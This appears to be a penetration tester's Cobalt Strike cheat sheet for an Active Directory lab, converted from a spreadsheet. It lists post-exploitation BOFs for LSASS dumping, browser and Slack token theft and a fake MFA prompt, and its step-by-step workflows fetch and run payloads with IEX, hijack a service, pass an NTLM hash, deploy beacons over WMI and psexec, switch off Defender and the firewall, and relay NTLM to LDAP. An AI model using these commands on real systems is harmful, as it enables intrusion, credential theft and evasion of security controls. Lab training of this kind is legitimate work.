Notes: Prints the Beacon's in-memory location.

adcs_enum

Source row 196 - columns C/D

Notes: Enumerates CAs and templates in AD using Win32 functions.

ldapsearch

Source row 196 - columns E/F

Notes: Performs LDAP searches.

clipboard

Source row 197 - columns A/B

Notes: Attempts to retrieve text from the clipboard.

adcs_enum_com

Source row 197 - columns C/D

Notes: Enumerates CAs and templates using the ICertConfig COM object.

ldapsecuritycheck

Source row 197 - columns E/F

Notes: Checks LDAP signing and LDAPS channel binding requirements.

dllload

Source row 198 - columns A/B

Notes: Loads a DLL into a process using LoadLibrary().

adcs_enum_com2

Source row 198 - columns C/D

Notes: Enumerates CAs and templates using the IX509PolicyServerListManager COM object.

domainenum

Source row 198 - columns E/F

Notes: Lists user accounts in the current domain.

elevate

Source row 199 - columns A/B

```
Spawns a session in an elevated context.
```

adcs_request

Source row 199 - columns C/D

Notes: Requests an enrollment certificate.

get_password_policy

Source row 199 - columns E/F

Notes: Retrieves a server or domain controller's configured password policy.

getsystem

Source row 200 - columns A/B

Notes: Attempts to obtain SYSTEM context.

adcs_request_on_behalf

Source row 200 - columns C/D

Notes: Requests an enrollment certificate on behalf of another user.

netGroupList

Source row 200 - columns E/F

Notes: Lists groups in the current or specified domain.

jump

Source row 201 - columns A/B

Spawns a session on a remote host.

make_token_cert

Source row 201 - columns C/D

Notes: Applies an impersonation token based on the alternate name in a supplied .pfx certificate.

netGroupListMembers

Source row 201 - columns E/F

Notes: Lists members of a specified group in the current or specified domain.

kerberos_ccache_use

Source row 202 - columns A/B

Notes: Applies a Kerberos ticket from cache to the current session.

Azure BOFs

netuser

Source row 202 - columns E/F

Notes: Lists information about a user.

kerberos_ticket_purge

Source row 203 - columns A/B

Notes: Purges Kerberos tickets from the current session.

aadjoininfo

Source row 203 - columns C/D

Notes: Retrieves Azure AD / Entra ID join information.

userenum

Source row 203 - columns E/F

Notes: Lists local computer user accounts.

kerberos_ticket_use

Source row 204 - columns A/B

Notes: Applies a Kerberos ticket to the current session.

get_azure_token

Source row 204 - columns C/D

Notes: Performs an OAuth code grant against Azure and prints returned tokens.

EDR BOFs

reg

Source row 205 - columns A/B

Notes: Queries the registry.

Hash BOFs

driversigs

Source row 205 - columns E/F

Notes: Checks drivers for known EDR vendor names.

remote-exec

Source row 206 - columns A/B

Notes: Runs a command on a remote host.

md5

Source row 206 - columns C/D

Notes: Returns the MD5 hash of a selected file.

enum_filter_driver

Source row 206 - columns E/F

Notes: Lists filter drivers on the system.

runasadmin

Source row 207 - columns A/B

Notes: Executes a program in an elevated context.

sha1

Source row 207 - columns C/D

Notes: Returns the SHA1 hash of a selected file.

timestomp

Source row 208 - columns A/B

Notes: Copies timestamps from one file to another.

sha256

Source row 208 - columns C/D

Notes: Returns the SHA-256 hash of a selected file.

Net BOFs

Network BOFs

Registry BOFs

netLocalGroupList

Source row 211 - columns A/B

Notes: Lists local groups on the current or specified server.

whoami

Source row 211 - columns C/D

Notes: Internal version of whoami /all.

dir

Source row 211 - columns E/F

Notes: Lists a target directory using BOF.

netLocalGroupListMembers

Source row 212 - columns A/B

Notes: Lists members of a local group on the current or specified server.

get_session_info

Source row 212 - columns C/D

Notes: Returns auth package, logon server, and current session ID.

cacls

Source row 212 - columns E/F

Notes: Lists file permissions.

netLocalGroupListMembers2

Source row 213 - columns A/B

Notes: Lists local group members with BOFHound-compatible output.

get_priv

Source row 213 - columns C/D

Notes: Activates a token privilege.

reg_query

Source row 213 - columns E/F

Notes: Queries a registry key or value.

netloggedon

Source row 214 - columns A/B

Notes: Returns users logged on to the local or remote machine; requires administrative rights.

ipconfig

Source row 214 - columns C/D

Notes: Runs an internal ipconfig command.

reg_query_recursive

Source row 214 - columns E/F

Notes: Recursively queries a registry key.

netloggedon2

Source row 215 - columns A/B

Notes: Returns logged-on users via NetWkstaUserEnum with BOFHound-compatible output.

arp

Source row 215 - columns C/D

Notes: Runs an internal ARP command.

reg_set

Source row 215 - columns E/F

Notes: Creates or sets a registry key or value.

netsession

Source row 216 - columns A/B

Notes: Lists sessions on a server.

routeprint

Source row 216 - columns C/D

Notes: Prints IPv4 routes on the machine.

reg_delete

Source row 216 - columns E/F

Notes: Deletes a registry key or value.

netsession2

Source row 217 - columns A/B

Notes: Lists sessions on a server with BOFHound-compatible output.

netstat

Source row 217 - columns C/D

Notes: Lists local IPv4 TCP/UDP listening and connected ports.

reg_save

Source row 217 - columns E/F

Notes: Saves a registry path and all subkeys to disk.

regsession

Source row 218 - columns A/B

Notes: Returns logged-on users via registry checks with BOFHound-compatible output.

nslookup

Source row 218 - columns C/D

Notes: Performs an internal DNS query.

vssenum

Source row 218 - columns E/F

Notes: Enumerates volume shadow copies on a remote machine.

enumLocalSessions

Source row 219 - columns A/B

Notes: Enumerates attached local and RDP user sessions.

listdns

Source row 219 - columns C/D

Notes: Lists DNS cache entries.

Account BOFs

netshares

Source row 220 - columns A/B

Notes: Lists shares on a local or remote computer.

probe

Source row 220 - columns C/D

Notes: Checks whether a port is open.

adduser

Source row 220 - columns E/F

Notes: Adds a new user to a machine.

netsharesAdmin

Source row 221 - columns A/B

Notes: Lists shares with additional information; requires admin rights.

resources

Source row 221 - columns C/D

Notes: Lists available memory and primary disk free space.

addusertogroup

Source row 221 - columns E/F

Notes: Adds a specified user to a specified group.

netuse_add

Source row 222 - columns A/B

Notes: Connects to a shared resource.

uptime

Source row 222 - columns C/D

Notes: Lists system boot time.

enableuser

Source row 222 - columns E/F

Notes: Enables and unlocks a specified user account.

netuse_delete

Source row 223 - columns A/B

Notes: Disconnects from a shared resource.

locale

Source row 223 - columns C/D

Notes: Retrieves system locale, date format, and country information.

unexpireuser

Source row 223 - columns E/F

Notes: Enables and unlocks an expired user account.

netuse_list

Source row 224 - columns A/B

Notes: Lists local bound network connections.

list_firewall_rules

Source row 224 - columns C/D

Notes: Lists Windows firewall rules.

setuserpass

Source row 224 - columns E/F

Notes: Sets the specified user's password.

netview

Source row 225 - columns A/B

Notes: Lists local workstations and servers.

adv_audit_policies

Source row 225 - columns C/D

Notes: Retrieves advanced security audit policies.

Misc BOFs

nettime

Source row 226 - columns A/B

Notes: Returns current time information from a local or remote machine.

ak-settings

Source row 226 - columns E/F

Notes: Sets Artifact Kit options for artifact generation and jump-command exploits such as psexec and psexec64.

netuptime

Source row 227 - columns A/B

Notes: Returns boot time information from a local or remote machine.

ask_mfa

Source row 227 - columns E/F

Notes: Displays a fake Microsoft MFA approval dialog.

env

Source row 228 - columns E/F

Notes: Prints environment variables.

Service BOFs

SQL BOFs

Creds BOFs

sc_enum

Source row 231 - columns A/B

Notes: Enumerates service configurations in depth.

sql-1434udp

Source row 231 - columns C/D

Notes: Obtains SQL Server connection information from the SQL Browser service on UDP/1434.

get_dpapi_system

Source row 231 - columns E/F

Notes: Prints DPAPI_SYSTEM and boot key if accessible.

sc_query

Source row 232 - columns A/B

Notes: Queries a service's status.

sql-info

Source row 232 - columns C/D

Notes: Gathers information about a SQL Server.

hivedump

Source row 232 - columns E/F

Notes: Creates a compressed dump of the SAM, SYSTEM, and SECURITY hives.

sc_qc

Source row 233 - columns A/B

Notes: Queries a service's configuration.

sql-whoami

Source row 233 - columns C/D

Notes: Shows logged-in user, mapped user, and SQL roles.

procdump

Source row 233 - columns E/F

Notes: Dumps a specified process to an output file.

sc_config

Source row 234 - columns A/B

Notes: Configures an existing service.

sql-databases

Source row 234 - columns C/D

Notes: Enumerates databases on a server.

credpack-dumpertng

Source row 234 - columns E/F

Notes: Creates a compressed minidump of the LSASS process.

sc_create

Source row 235 - columns A/B

Notes: Creates a new service.

sql-tables

Source row 235 - columns C/D

Notes: Enumerates tables within a database.

credpack-handledupminidump

Source row 235 - columns E/F

Notes: Creates a compressed LSASS minidump using handle duplication.

sc_delete

Source row 236 - columns A/B

Notes: Deletes a service.

sql-columns

Source row 236 - columns C/D

Notes: Enumerates columns within a table.

credpack-processdupminidump

Source row 236 - columns E/F

Notes: Creates a compressed LSASS minidump using process duplication.

sc_description

Source row 237 - columns A/B

Notes: Sets a service description.

sql-rows

Source row 237 - columns C/D

Notes: Gets the row count for a table.

credpack-passwordspy

Source row 237 - columns E/F

Notes: Captures cleartext passwords through NtLogonNotify() and stores them encrypted.

sc_qdescription

Source row 238 - columns A/B

Notes: Queries a service description.

sql-search

Source row 238 - columns C/D

Notes: Searches a table for a column name.

lastpass

Source row 238 - columns E/F

Notes: Searches memory for LastPass passwords and hashes.

sc_failure

Source row 239 - columns A/B

Notes: Changes service failure actions.

sql-users

Source row 239 - columns C/D

Notes: Enumerates users with database access.

office_tokens

Source row 239 - columns E/F

Notes: Searches memory for Office JWT access tokens.

sc_qfailure

Source row 240 - columns A/B

Notes: Lists service failure actions.

sql-query

Source row 240 - columns C/D

Notes: Executes a custom SQL query.

slack_cookie

Source row 240 - columns E/F

Notes: Searches memory for Slack tokens.

sc_qtriggerinfo

Source row 241 - columns A/B

Notes: Lists service trigger information.

sql-links

Source row 241 - columns C/D

Notes: Enumerates linked servers.

chromeKey

Source row 241 - columns E/F

Notes: Decrypts a provided base64-encoded Chrome key.

sc_start

Source row 242 - columns A/B

Notes: Starts a service.

sql-checkrpc

Source row 242 - columns C/D

Notes: Enumerates RPC status of linked servers.

slackKey

Source row 242 - columns E/F

Notes: Decrypts a provided base64-encoded Chrome key used for Slack-related data.

sc_stop

Source row 243 - columns A/B

Notes: Stops a service.

sql-enablerpc

Source row 243 - columns C/D

Notes: Enables RPC and RPC Out on a linked server.

global_unprotect

Source row 243 - columns E/F

Notes: Runs the global_unprotect function with no arguments.

schtasksenum

Source row 244 - columns A/B

Notes: Enumerates scheduled tasks on a local or target machine.

sql-disablerpc

Source row 244 - columns C/D

Notes: Disables RPC and RPC Out on a linked server.

notepad

Source row 244 - columns E/F

Notes: Searches open Notepad and Notepad++ windows and extracts visible editor text.

schtasksquery

Source row 245 - columns A/B

Notes: Lists details for a requested scheduled task.

sql-impersonate

Source row 245 - columns C/D

Notes: Enumerates users that can be impersonated.

Process BOFs

schtaskscreate

Source row 246 - columns A/B

Notes: Creates a scheduled task.

sql-agentstatus

Source row 246 - columns C/D

Notes: Enumerates SQL Agent status and jobs.

tasklist

Source row 246 - columns E/F

Notes: Lists currently running processes.

schtasksrun

Source row 247 - columns A/B

Notes: Runs a scheduled task.

sql-agentcmd

Source row 247 - columns C/D

Notes: Executes a system command using SQL Agent jobs.

ProcessListHandles

Source row 247 - columns E/F

Notes: Lists open handles in a process.

schtasksstop

Source row 248 - columns A/B

Notes: Stops a scheduled task.

Command

Source row 248 - columns C/D

```
sql-enablexp  
Enables xp_cmdshell.
```

ProcessDestroy

Source row 248 - columns E/F

Notes: Closes handles in a process.

schtasksdelete

Source row 249 - columns A/B

Notes: Deletes a scheduled task or folder.

Command

Source row 249 - columns C/D

```
sql-disablexp  
Disables xp_cmdshell.
```

listmods

Source row 249 - columns E/F

Notes: Lists process modules.

ghost_task

Source row 250 - columns A/B

Notes: Creates or modifies a scheduled task while avoiding common task-creation event IDs.

Command

Source row 250 - columns C/D

```
sql-xpcmd
Executes a system command using xp_cmdshell.
```

findLoadedModule

Source row 250 - columns E/F

Notes: Finds processes loading a specific DLL.

shutdown

Source row 251 - columns A/B

Notes: Shuts down or reboots a local or remote system after a specified delay.

sql-enableole

Source row 251 - columns C/D

Notes: Enables OLE Automation Procedures.

listpipes

Source row 251 - columns E/F

Notes: Lists local named pipes.

Injection BOFs

sql-disableole

Source row 252 - columns C/D

Notes: Disables OLE Automation Procedures.

suspend

Source row 252 - columns E/F

Notes: Suspends a process by PID.

Command

Source row 253 - columns A/B

```
clipboardinject
Clipboard injection technique.
```

sql-olecmd

Source row 253 - columns C/D

Notes: Executes a system command using OLE Automation Procedures.

resume

Source row 253 - columns E/F

Notes: Resumes a process by PID.

conhost

Source row 254 - columns A/B

Notes: Injection technique targeting conhost.exe only.

sql-enableclr

Source row 254 - columns C/D

Notes: Enables CLR integration.

windowlist

Source row 254 - columns E/F

Notes: Lists visible windows.

createremotethread

Source row 255 - columns A/B

Notes: Injection technique using remote thread creation.

sql-disableclr

Source row 255 - columns C/D

Notes: Disables CLR integration.

useridletime

Source row 255 - columns E/F

Notes: Shows the user's idle time.

ctray

Source row 256 - columns A/B

Notes: Injection technique targeting explorer.exe only.

sql-clr

Source row 256 - columns C/D

Notes: Loads and executes a .NET assembly through a stored procedure.

wmi_query

Source row 256 - columns E/F

Notes: Runs a general WMI query.

dde

Source row 257 - columns A/B

Notes: DDE injection technique targeting explorer.exe only.

sql-smb

Source row 257 - columns C/D

Notes: Coerces NetNTLM authentication through xp_dirtree.

kernelcallbacktable

Source row 258 - columns A/B

Notes: Kernel callback table injection technique.

sql-adsi

Source row 258 - columns C/D

Notes: Obtains ADSI credentials from an ADSI linked server.

ntcreatethread

Source row 259 - columns A/B

Notes: Injection technique using NtCreateThread.

ntqueueapcthread

Source row 260 - columns A/B

Notes: APC queue-based injection technique.

setthreadcontext

Source row 261 - columns A/B

Notes: Injection technique using thread context modification.

Command

Source row 262 - columns A/B

```
shspawnas
Spawns/injects as a specified user.
```

svcctrl

Source row 263 - columns A/B

Notes: Service control injection technique.

tooltip

Source row 264 - columns A/B

Notes: Tooltip-based injection technique.

uxsubclassinfo

Source row 265 - columns A/B

Notes: Injection technique targeting explorer.exe only.

CS Pivoting

SOCKS and proxychains notes for routing tools through Beacon.

Socks5

Start proxy

Source row 270 - columns A/B

```
socks 1080 socks5
```

Command

Source row 271 - columns A/B

```
ProxyChains Config  
sudo nano /etc/proxychains.conf
```

add to end:

Source row 272 - columns A/B

```
socks5 127.0.0.1 1080
```

Stop proxy

Source row 273 - columns A/B

Context: - must stop to start again

```
socks stop
```

CS Enumeration

Active Directory, host, share, and inventory enumeration workflows.

BOF

Enumeration Options

Command

Source row 280 - columns A/B

```
spawnto  
- spawnto before post-ex  
spawnto x64 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

SharpView

Source row 281 - columns A/B

Context: - must change spawnto

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe
```

Powerview

Source row 282 - columns A/B

Context: - burnt by Defender

```
powershell-import /home/kali/Tools/CRTP/PowerView.ps1
```

AD Module

Source row 283 - columns A/B

Context: - cannot import 2 at once
- so doesnt work yet

```
powershell-import  
/home/kali/Tools/CRTP/ADModule-master/Microsoft.ActiveDirectory.Management.dll  
powershell-import /home/kali/Tools/CRTP/ADModule-master/ActiveDirectory/ActiveDirectory.psd1
```

Sharpview

Command

Source row 286 - columns A/B

```
spawnto  
- spawnto before post-ex  
spawnto x64 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

prepend SharpView path

Source row 287 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe
```

Modify powerview command

Source row 288 - columns A/B

```
Before:  
Get-DomainUser | select -ExpandProperty samaccountname  
After:  
Get-DomainUser -Properties samaccountname
```

All users

Source row 289 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Get-DomainUser -Properties samaccountname
```

All PCs

Source row 290 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Get-DomainComputer -Properties dnshostname
```

Domain Admins

Source row 291 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Get-DomainGroup -Identity "Domain Admins"
```

Enterprise Admins

Source row 292 - columns A/B

Context: - Must query root domain

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local
```

ADRecon

Visible Inventory sweeper

Source row 295 - columns A/B

```
https://github.com/adrecon/ADRecon
```

Import

Source row 296 - columns A/B

```
powershell-import /home/kali/Tools/ADRecon/ADRecon.ps1
```

Use any ps command

Source row 297 - columns A/B

```
powershell dir
```

Change import

Source row 298 - columns A/B

Context: - or clear it somehow
- must change so u dont run again

```
powershell-import /home/kali/Tools/CRTP/PowerView.ps1
```

Convert to zip

Source row 299 - columns A/B

```
shell powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -LiteralPath  
'.\ADRecon-Report-20260519185857' -DestinationPath '.\ADRecon-Report-20260519185857.zip'  
-Force"
```

Command

Source row 300 - columns A/B

```
Download zip  
download ADRecon-Report-20260519185857.zip
```

Convert to excel

Source row 301 - columns A/B

Context: - on host

```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process  
.\ADRecon.ps1 -GenExcel .\ADRecon-Report-<timestamp>
```

CS Shares

Share browsing, share hunting, SharpShares, PowerHuntShares, and Snaffler notes.

General

List content of share

Source row 306 - columns A/B

```
ls \\dcorp-ci\AI\
```

Command

Source row 307 - columns A/B

```
Download a file from share  
download \\dcorp-ci\AI\AI.log
```

PowerHuntShares

SharpView list hosts

Source row 310 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Get-DomainComputer -Properties dnshostname
```

Make servers.txt

Source row 311 - columns A/B

Context: i.e. dcorp-dc
i.e. dcorp-adminsv

```
mousepad servers.txt
```

Command

Source row 312 - columns A/B

```
Upload servers.txt  
upload /home/kali/Labs/CRTP/servers.txt
```

import PowerHuntShares

Source row 313 - columns A/B

```
powershell-import /home/kali/Tools/CRTP/PowerHuntShares.psm1
```

Run

Source row 314 - columns A/B

```
powershell Invoke-HuntSMBShares -NoPing -OutputDirectory C:\AD\Tools\InviShell\ -HostList C:\AD\Tools\InviShell\servers.txt
```

Command

Source row 315 - columns A/B

```
Download file  
download SmbShareHunt-05192026150532/Summary-Report-SmbHunt.html
```

Open in Kali

Source row 316 - columns A/B

Notes: open Summary-Report-SmbHunt.html

sharpshares

List Hosts + IPs

Source row 319 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_Any/sharpshares.exe ips
```

List all shares

Source row 320 - columns A/B

Context: "listable" = accessible share

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_Any/sharpshares.exe  
shares
```

snaffler

Important Note

Source row 323 - columns A/B

Notes: - If your host is a share, it will list all the sensitive data in your tools which is spammy
- cannot see valuable data without clutter like sharpshares

Run

Source row 324 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_Any/Snaffler.exe -s
```

CS DACL

DACL and dangerous ACL discovery references, primarily BloodHound and SharpView based.

General

BloodHound

Source row 329 - columns A/B

Context: All dangerous ACL edges

```
MATCH p=( :Base)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AllExtendedRights|ForceChange  
Password|AddMember]->( :Base) RETURN p LIMIT 1000
```

SharpView

Source row 330 - columns A/B

Context: Find-InterestingDomainAcl

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
Find-InterestingDomainAcl -ResolveGUIDs
```

CS GPO

GPO discovery and abuse tooling references for lab review.

General

BloodHound (best)

Source row 336 - columns A/B

Context: List all GPOs

```
MATCH (g:GPO) RETURN g LIMIT 1000
```

BloodHound

Source row 337 - columns A/B

Context: list all OUs

```
MATCH (ou:OU) RETURN ou LIMIT 1000
```

Group3r.exe

Source row 338 - columns A/B

```
execute-assembly /home/kali/Tools/Group3r/Group3r.exe -f group3r.log
```

SharpGPOAbuse.exe

CS PrivEsc

Local privilege escalation enumeration notes and a modifiable service workflow.

General

SharpUp audit

Source row 344 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpUp.exe audit
```

winPEAS

Source row 345 - columns A/B

```
execute-assembly /home/kali/Tools/CRTP/winPEASx64.exe
```

PrivEscCheck

Source row 346 - columns A/B

```
powershell-import /home/kali/Tools/CRTP/PrivEscCheck.ps1
powershell Invoke-PrivescCheck
```

Modifiable service

Query config of service

Source row 349 - columns A/B

```
sc_qc AbyssWebServer
```

run_payload.ps1

Source row 350 - columns A/B

```
IEX ((New-Object Net.WebClient).DownloadString('http://172.16.99.52:80/a'))
```

run_payload.bat

Source row 351 - columns A/B

```
@echo off
echo [%date% %time%] Running as %USERDOMAIN%\%USERNAME% on %COMPUTERNAME% >
C:\AD\Tools\InviShell\svc_payload.log
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass
-File C:\AD\Tools\InviShell\run_payload.ps1 >> C:\AD\Tools\InviShell\svc_payload.log 2>&1
```

change svc config

Source row 352 - columns A/B

```
sc_config AbyssWebServer "C:\Windows\System32\cmd.exe /c
C:\AD\Tools\InviShell\run_payload.bat" 1 3
```

Start svc

Source row 353 - columns A/B

```
sc_start AbyssWebServer
```

CS lateral movement

Lateral movement reminders including token use, psexec/scshell, WMI, and peer-to-peer Beacon pivoting.

General

Command

Source row 359 - columns A/B

```
ak-settings  
- ak-settings before lat movement  
ak-settings spawn_to_x64 C:\Windows\System32\svchost.exe
```

Command

Source row 360 - columns A/B

```
psexec  
jump psexec64 dcorp-adminsrv smb
```

New Beacons

New Beacon as same user

Source row 363 - columns A/B

```
spawn x64 dns
```

New beacon as new user

Source row 364 - columns A/B

```
spawnas CONTOSO\rsteel Passw0rd! tcp-local
```

pass NTLM hash

Source row 365 - columns A/B

```
pth dcorp\ciadmin e08253add90dccf1a208523d02998c3d
```

make token using pass

Source row 366 - columns A/B

```
make_token dcorp\student352 fdbKG8gLZx69GgUH
```

Confirm local admin

Source row 367 - columns A/B

```
ls \\dcorp-dc\ADMIN$
```

revert token back

Source row 368 - columns A/B

```
rev2self
```

ScShell

CS-BOF

Source row 371 - columns A/B

```
https://github.com/Mr-Un1k0d3r/SCShell/tree/master/CS-BOF  
/home/kali/Tools/SCShell/CS-BOF/scshell.cna
```

ScShell

Source row 372 - columns A/B

```
jump scshell64 dcorp-adminsrv smb
```

remote-exec wmi

1. go to target's share

Source row 375 - columns A/B

```
cd \\dcorp-mssql\ADMIN$
```

2. Upload beacon

Source row 376 - columns A/B

Context: SMB Binary

```
upload /home/kali/Payloads/smb_x64.exe
```

3. Run beacon with WMI

Source row 377 - columns A/B

```
remote-exec wmi dcorp-mssql C:\Windows\smb_x64.exe
```

4. Link to pipe

Source row 378 - columns A/B

```
link dcorp-mssql TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
```

session -> TCP p2p pivot

make tcp listener

Source row 381 - columns A/B

Notes: - p 4444 tcp

Create tcp payload

Source row 382 - columns A/B

```
/home/kali/Payloads/tcp_x64.exe
```

Command

Source row 383 - columns A/B

```
upload payload to pivot beacon  
upload /home/kali/Payloads/tcp_x64.exe
```

Host payload

Source row 384 - columns A/B

```
C:\AD\Tools\hfs.exe  
serve C:\AD\Tools\InviShell\tcp_x64.exe
```

transfer payload

Source row 385 - columns A/B

```
Invoke-WebRequest -Uri "http://172.16.100.52/tcp_x64.exe" -OutFile ".\tcp_x64.exe"
```

transfer from CMD

Source row 386 - columns A/B

```
powershell -NoP -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri  
'http://172.16.100.52/tcp_x64.exe' -OutFile 'C:\Users\Public\tcp_x64.exe'"
```

run payload

Source row 387 - columns A/B

```
.\tcp_x64.exe  
C:\Users\Public\tcp_x64.exe
```

Command

Source row 388 - columns A/B

```
Connect on pivot beacon  
connect 172.16.3.21 4444
```

session -> TCP p2p pivot + AV Exclusion

make tcp listener

Source row 391 - columns A/B

Notes: - p 4444 tcp

Create tcp payload

Source row 392 - columns A/B

```
/home/kali/Payloads/tcp_x64.exe
```

Command

Source row 393 - columns A/B

```
upload payload to pivot beacon  
upload /home/kali/Payloads/tcp_x64.exe
```

Host payload

Source row 394 - columns A/B

```
C:\AD\Tools\hfs.exe  
serve C:\AD\Tools\InviShell\tcp_x64.exe
```

Make Exclusion

Source row 395 - columns A/B

```
mkdir C:\Windows\Temp\lab  
powershell -NoP -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\lab'"
```

Verify Exclusion

Source row 396 - columns A/B

```
powershell -NoP -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"
```

Command

Source row 397 - columns A/B

```
Download to exclusion  
powershell -NoP -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri  
'http://172.16.100.52/tcp_x64.exe' -OutFile 'C:\Windows\Temp\lab\tcp_x64.exe'"
```

Confirm still alive

Source row 398 - columns A/B

```
dir C:\Windows\Temp\lab\tcp_x64.exe
```

Execute

Source row 399 - columns A/B

```
C:\Windows\Temp\lab\tcp_x64.exe
```

Command

Source row 400 - columns A/B

```
Connect on pivot beacon  
connect 172.16.1.1 4444
```

Other methods for pivot beacon

smb p2p

Source row 403 - columns A/B

- Notes:**
1. You run an SMB Beacon payload on the internal host.
 2. That payload waits on a named pipe.
 3. Your jump host Beacon connects to that pipe over SMB: link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
 4. Child Beacon traffic is tunneled through the parent Beacon.

rportfwd -> normal beacon

Source row 404 - columns A/B

- Notes:** - rportfwd -> normal beacon scripted delivery

pivot listener right click

Source row 405 - columns A/B

- Context:** - "reverse tcp" beacon

- Notes:**
1. Cobalt Strike tells the jump host Beacon to open a listening port.
 2. You generate a reverse TCP payload that connects to the jump host IP/port.

3. You run that payload on the internal host.
4. The internal host connects to the jump host.
5. The jump host Beacon tunnels the new Beacon back to Cobalt Strike.

service p2p

Source row 406 - columns A/B

Notes: - service - dont have to keep repeating process

CS Security

Security-control status checks and lab notes for firewall and Defender state review.

General

adv_audit_policies

Source row 411 - columns A/B

Notes: Retrieves advanced security audit policies.

Firewall

list_firewall_rules

Source row 415 - columns A/B

Notes: Lists Windows firewall rules.

Show profile active

Source row 416 - columns A/B

```
shell powershell -NoProfile -Command "Get-NetConnectionProfile | Format-Table
InterfaceAlias, InterfaceIndex, NetworkCategory, IPv4Connectivity, Name -Auto"
```

Show profile state

Source row 417 - columns A/B

```
shell netsh advfirewall show domainprofile
```

Turn off firewall profile

Source row 418 - columns A/B

```
shell netsh advfirewall set domainprofile state off
```

turn off all profiles

Source row 419 - columns A/B

```
shell netsh advfirewall set allprofiles state off
```

Defender

status

Source row 422 - columns A/B

```
powershell Get-MpComputerStatus | Select-Object AMServiceEnabled,AntivirusEnabled,RealTimePr
otectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled,AntispywareEnabled,IsTamperProt
ected
```

See detection history

Source row 423 - columns A/B

```
powershell -NoP -Command "Get-MpThreatDetection | Select-Object
InitialDetectionTime,ThreatName,Resources,ActionSuccess,CurrentThreatExecutionStatus |
Format-List"
```

Preferences

Source row 424 - columns A/B

```
powershell Get-MpPreference | Select-Object DisableRealtimeMonitoring,DisableBehaviorMonitoring,DisableIOAVProtection,DisableScriptScanning,ExclusionPath,ExclusionProcess,PUAProtection
```

Detections

Source row 425 - columns A/R

```
powershell Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 20 InitialDetectionTime,ThreatName,Resources,ActionSuccess
```

Turn off defender

Source row 426 - columns A/R

```
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -MAPSReporting 0
Set-MpPreference -SubmitSamplesConsent 2
```

Turn off defender #2

Source row 427 - columns A/R

```
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -DisableScanningNetworkFiles $true
Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -CloudBlockLevel 0
```

Defender - WinRM session

Status

Source row 430 - columns A/R

```
powershell -NoP -Command "Get-MpComputerStatus | Select-Object AMServiceEnabled,AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled,AntispywareEnabled,IsTamperProtected | Format-List"
```

Turn off defender

Source row 431 - columns A/R

```
powershell -NoP -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -MAPSReporting 0; Set-MpPreference -SubmitSamplesConsent 2"
```

Make Exclusion

Source row 432 - columns A/R

```
mkdir C:\Windows\Temp\lab
powershell -NoP -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\lab'"
```

Verify Exclusion

Source row 433 - columns A/R

```
powershell -NoP -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"
```

CS Network

Network relay and HTTP-to-LDAP workflow notes from the lab.

HTTP -> LDAP (clickable)

Overview

Source row 442 - columns A/B

Notes: - clickable

-> auth done to malicious server -> relayed to DC for LDAP session

turn off all firewall profiles

Source row 443 - columns A/R

```
netsh advfirewall set allprofiles state off
```

Start relay

Source row 444 - columns A/B

Context: -wh flag is pivot beacon

```
sudo impacket-ntlmrelayx -t ldaps://172.16.2.1 -wh 172.16.100.52 --http-port 8080 -i
```

forward pivot 8080 to kali

Source row 445 - columns A/B

```
rportfwd 8080 localhost 8080
```

Create shortcut

Source row 446 - columns A/B

Notes: Right Click -> New -> Shortcut

student352.lnk

Source row 447 - columns A/B

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest -Uri 'http://172.16.100.52:8080' -UseDefaultCredentials -UseBasicParsing"
```

Catch LDAP Session

Source row 448 - columns A/B

```
nc 127.0.0.1 11000
```

Get GUID of GPO

Source row 449 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpView.exe  
